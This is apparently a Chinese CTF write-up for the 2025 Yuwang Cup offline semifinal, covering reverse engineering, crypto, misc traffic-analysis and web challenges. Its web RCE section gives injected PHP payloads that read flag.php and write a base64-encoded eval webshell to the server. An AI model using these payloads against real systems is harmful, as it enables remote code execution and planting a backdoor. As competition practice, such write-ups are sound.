seora's Studio.

2025御网杯线下赛

字数统计: 648阅读时长: 3 min
2025/07/15
loading

御网杯20205线下半决赛

re方向

re_c

image-20250714215154464

image-20250714215137704

FLAG:flag{HNCTFmng1}

re_python

image-20250714215539018

得到

image-20250714215708927

image-20250714215645961

脚本

1
2
3
4
5
6
7
8
9
10
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 
78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53,
152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
flag=""
for i in range(42):
for j in range (128):
if j * 33 % 179 == c[i]:
flag+=chr(j)
print(flag)
#flag{2889e7a3-0d6b-4cbb-b6e9-04c0f26c9dca}

再替换一下

image-20250714220218010

密码学

crypto1

放到随波逐流里面能看到Rot13解码之后是明显的16进制编码形式,PixPin_2025-07-15_09-48-42

PixPin_2025-07-15_09-48-56

经过16进制转字符后特征很明显,最后Base32->Base64->Ascii85混合解码得到flag。PixPin_2025-07-15_09-49-13

Crypto_10

看到题目描述重排时序 62星序猜测倒序和Base62。

PixPin_2025-07-15_09-54-38

倒序:

PixPin_2025-07-15_09-59-44

Base62解码:

PixPin_2025-07-15_10-00-08

crypto解压这个文件夹

打开下载的附件,有一个压缩包和一张图片。直接解压文件夹需要密码,图片也不能直接打开。

PixPin_2025-07-15_10-04-44

PixPin_2025-07-15_10-05-44

图片用010打开发现文件头是错的修改一下,得到解压密码。

PixPin_2025-07-15_10-06-22

压缩包解压得到flag.jpg直接放随波逐流里然后base64解码。

PixPin_2025-07-15_10-09-06

PixPin_2025-07-15_10-09-42

得到ctf_you_passed包裹flag{}就是最后的flag。

crypto encryption2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from secret import init1,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}")

classlfsr():
    def__init__(self, init, mask, length):
        self.init = init
        self.mask = mask
        self.lengthmask = 2**(length+1)-1

    defnext(self):
        nextdata = (self.init << 1) & self.lengthmask 
        i = self.init & self.mask & self.lengthmask 
        output = 0
        while i != 0:
            output ^= (i & 1)
            i = i >> 1
        nextdata ^= output
        self.init = nextdata
        return output

defcombine(x1,x2,x3):
    return (x1*x2)^(x2*x3)^(x1*x3)

if __name__=="__main__":
    l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48)
    l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000010000000000000,48)
    l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48)

    withopen("keystream","wb") as f:
        for i inrange(8192):
            b = 0
            for j inrange(8):
                b = (b<<1)+combine(l1.next(),l2.next(),l3.next())
            f.write(chr(b).encode())

misc方向

Misc1

题目附件是一个加密的压缩包,直接爆破。

PixPin_2025-07-15_10-35-03

打开文档全选复制

PixPin_2025-07-15_10-35-37

粘贴一下就能看到flag

PixPin_2025-07-15_10-36-31

Misc2 键盘流量

PixPin_2025-07-15_10-52-05

Misc3 数据包分析

附件里的.exe是压缩包,修改后缀解压。

PixPin_2025-07-15_11-01-02

找到流量包全局搜索flag以及flag其他编码形式。

PixPin_2025-07-15_11-44-25

16进制解码

PixPin_2025-07-15_11-44-52

Misc4工业流量分析

PixPin_2025-07-15_10-54-46

PixPin_2025-07-15_10-59-31

按照时间排序,最先STOP的包。

1
flag{ac6417423bb3000c}

web方向

web rce

方法一(打印编码的flag)

1
ip/?cmd=print(base64_encode(file_get_contents(base64_decode("ZmxhZy5waHA="))));

方法二(写入webshell)

直接写入一个webshell

1
2
3
4
file_put_contents(
base64_decode("c2hlbGwucGhw"), // "shell.php"
base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hdKTs/Pg==") // "<?php @eval(\$_POST[x]); ?>"
);

进行编码后为:

1
ip/?cmd=file_put_contents(base64_decode("c2hlbGwucGhw"),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hd

web 二次编码

直接访问/flag.php就可以得到flag.php

web sql

直接用sqlmap。

CATALOG
  1. 1. 御网杯20205线下半决赛
    1. 1.1. re方向
      1. 1.1.1. re_c
      2. 1.1.2. re_python
    2. 1.2. 密码学
      1. 1.2.1. crypto1
      2. 1.2.2. Crypto_10
      3. 1.2.3. crypto解压这个文件夹
      4. 1.2.4. crypto encryption2
    3. 1.3. misc方向
      1. 1.3.1. Misc1
      2. 1.3.2. Misc2 键盘流量
      3. 1.3.3. Misc3 数据包分析
      4. 1.3.4. Misc4工业流量分析
    4. 1.4. web方向
      1. 1.4.1. web rce
        1. 1.4.1.1. 方法一(打印编码的flag)
        2. 1.4.1.2. 方法二(写入webshell)
      2. 1.4.2. web 二次编码
      3. 1.4.3. web sql